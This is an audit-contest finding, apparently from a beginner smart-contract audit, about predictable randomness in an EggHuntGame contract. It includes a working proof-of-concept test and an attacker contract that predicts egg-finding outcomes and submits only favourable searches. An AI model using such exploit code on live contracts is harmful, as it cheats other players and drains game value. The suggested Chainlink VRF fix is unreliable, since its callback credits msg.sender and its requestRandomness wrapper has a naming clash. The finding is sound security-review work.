Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Front-Running due to weak/predictable Randomness

Description

The EggHuntGame contract is vulnerable to front-running attacks due to the predictable nature of its randomness in the searchForEgg() function. The randomness used to determine whether a player finds an egg is derived from publicly accessible data, including:

  1. block.timestamp (known before the transaction is mined).

  2. block.prevrandao (known before the transaction is mined).

  3. msg.sender (publicly accessible).

  4. eggCounter (a public state variable).

uint256 random = uint256(
keccak256(abi.encodePacked(
block.timestamp, // Known in pending blocks
block.prevrandao, // Public block property
msg.sender, // Public address
eggCounter // Public state variable
))
) % 100; // <--- All inputs are observable pre-execution

Since these values are observable before the transaction is executed, attackers can predict the outcome of the random number generation (RNG) with high accuracy. This enables them to front-run transactions by submitting their own searchForEgg transaction when favorable conditions are detected (i.e., when the RNG is likely to result in an egg being found).

Potential Exploitation:

  1. Attacker Predictability: An attacker can predict when the RNG will result in a successful egg find and submit their transaction first, maximizing their chances of finding eggs before legitimate players.

  2. Unfair Advantage: This gives attackers an unfair advantage over regular players, as they can achieve a 100% success rate while regular users only have a 50% chance (when the threshold is set to 50%).

  3. Game Manipulation: The attacker can collect more eggs than other players, distorting the game's fair play mechanics and leading to an unfair gaming experience.

Proof of Concept (PoC)

Below is a PoC demonstrating the vulnerability of front-running attacks:

function testFrontRunningSearchVulnerability() public {
// Start a game with default settings
game.startGame(3600); // 1 hour duration
// Set egg find threshold to 50% for testing
game.setEggFindThreshold(50);
// Create an attacker contract that can predict and front-run transactions
AttackerContract attacker = new AttackerContract(address(game));
// Give the attacker some ETH for gas
vm.deal(address(attacker), 1 ether);
// Simulate the attack over multiple blocks to demonstrate front-running success rate
uint256 successfulSearches = 0;
uint256 totalAttempts = 10;
for (uint256 i = 0; i < totalAttempts; i++) {
// Increment block for randomness variation
vm.roll(block.number + 1);
// Attacker can first simulate the search outcome without submitting a transaction
bool willFindEgg = attacker.simulateSearchOutcome();
// If the outcome is favorable (would find an egg), the attacker submits their transaction
if (willFindEgg) {
attacker.searchForEgg();
// Verify egg was found by checking the attacker's egg count
uint256 eggsFound = game.eggsFound(address(attacker));
if (eggsFound > successfulSearches) {
successfulSearches++;
}
}
}
// The attacker should have a 100% success rate when they choose to search
assertGt(successfulSearches, 0, "Attacker should have found at least one egg");
// In fact, the attacker can have a perfect success rate when they choose to search
uint256 finalEggCount = game.eggsFound(address(attacker));
assertEq(finalEggCount, successfulSearches, "Attacker should have perfect success rate");
// For comparison, a regular user would have approximately a 50% success rate
// Let's simulate a regular user making the same number of attempts
uint256 regularUserEggs = 0;
for (uint256 i = 0; i < totalAttempts; i++) {
vm.roll(block.number + 1);
// Regular user always searches without prediction
vm.prank(alice);
game.searchForEgg();
regularUserEggs = game.eggsFound(alice);
}
// We expect the regular user's success rate to be around 50% (due to 50% threshold)
// But it could be higher or lower due to randomness
console.log("Attacker success rate: 100%");
console.log("Regular user eggs found: ", regularUserEggs);
console.log("Regular user success rate: ", (regularUserEggs * 100) / totalAttempts, "%");
// The attacker should have a significantly better success rate
assertGt(successfulSearches * 2, regularUserEggs, "Attacker should be at least twice as efficient");
}
// Attacker contract that can predict search outcomes before submitting transactions
contract AttackerContract {
EggHuntGame private game;
constructor(address _gameAddress) {
game = EggHuntGame(_gameAddress);
}
// Simulate search outcome without submitting a transaction
function simulateSearchOutcome() public view returns (bool) {
// Access all the same inputs that would be used in the actual search
uint256 threshold = game.eggFindThreshold();
uint256 eggCounter = game.eggCounter();
// Calculate the same random value that would be calculated in searchForEgg
uint256 random = uint256(
keccak256(abi.encodePacked(
block.timestamp,
block.prevrandao,
address(this), // The attacker's contract address as msg.sender
eggCounter
))
) % 100;
// Return whether this would result in finding an egg
return random < threshold;
}
// Actually perform the search if conditions are favorable
function searchForEgg() public {
game.searchForEgg();
}
// Allow the contract to receive ETH for gas
receive() external payable {}
}

Explanation of PoC:

  1. Attacker Contract: The AttackerContract can simulate the outcome of a searchForEgg() call by calculating the same randomness as the contract would. This allows the attacker to predict when the RNG will be favorable (i.e., when the random value is below the eggFindThreshold).

  2. Front-Running Attempts: The attacker can front-run their transaction by submitting it when the outcome is favorable, giving them a 100% success rate in finding eggs.

  3. Regular Player Comparison: In contrast, a regular player has a 50% success rate (for a threshold of 50%) and cannot predict the RNG, making them significantly less efficient at finding eggs.

Impact

This vulnerability allows attackers to:

  1. Gain an Unfair Advantage: Attackers can reliably and consistently find eggs, making them disproportionately successful compared to regular players, thus undermining the fairness of the game.

  2. Exploit Predictable Randomness: The attack is based on the fact that the randomness used in the game is predictable before execution, making it easy to exploit.

  3. Distort Game Economy: If the game involves rewards or rankings based on the number of eggs found, this could distort the game's economy, create imbalance, and frustrate legitimate players.

  4. Undermine Game Integrity: The integrity of the game is compromised as attackers exploit the predictable nature of the randomness, reducing the overall player experience.

Recommendations

To mitigate the front-running attack, the randomness used for determining whether an egg is found should be made unpredictable. The best approach is to use a secure random number generator (RNG), such as Chainlink VRF (Verifiable Random Function), which provides a verifiable and cryptographically secure source of randomness.

Option 1: Use Chainlink VRF for Randomness

Replace the current randomness generation with Chainlink VRF, which provides a secure and verifiable random number. This ensures that no party can predict the outcome before the transaction is confirmed.

Example:

import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
contract EggHuntGame is VRFConsumerBase {
bytes32 internal keyHash;
uint256 internal fee;
constructor(address vrfCoordinator, address linkToken) VRFConsumerBase(vrfCoordinator, linkToken) {
keyHash = 0x...; // Set appropriate key hash for your network
fee = 0.1 * 10 ** 18; // Set LINK fee
}
function requestRandomness() internal returns (bytes32 requestId) {
return requestRandomness(keyHash, fee);
}
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
uint256 random = randomness % 100;
if (random < eggFindThreshold) {
eggCounter++;
eggsFound[msg.sender] += 1;
eggNFT.mintEgg(msg.sender, eggCounter);
}
}
}

This will ensure that the randomness is secure and not predictable before execution.

Conclusion

The front-running vulnerability in the EggHuntGame contract arises from the predictable nature of the random number generation used to determine whether an egg is found. By replacing the current RNG mechanism with a secure and verifiable source like Chainlink VRF, this vulnerability can be mitigated, ensuring fairness and integrity in the game.

Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.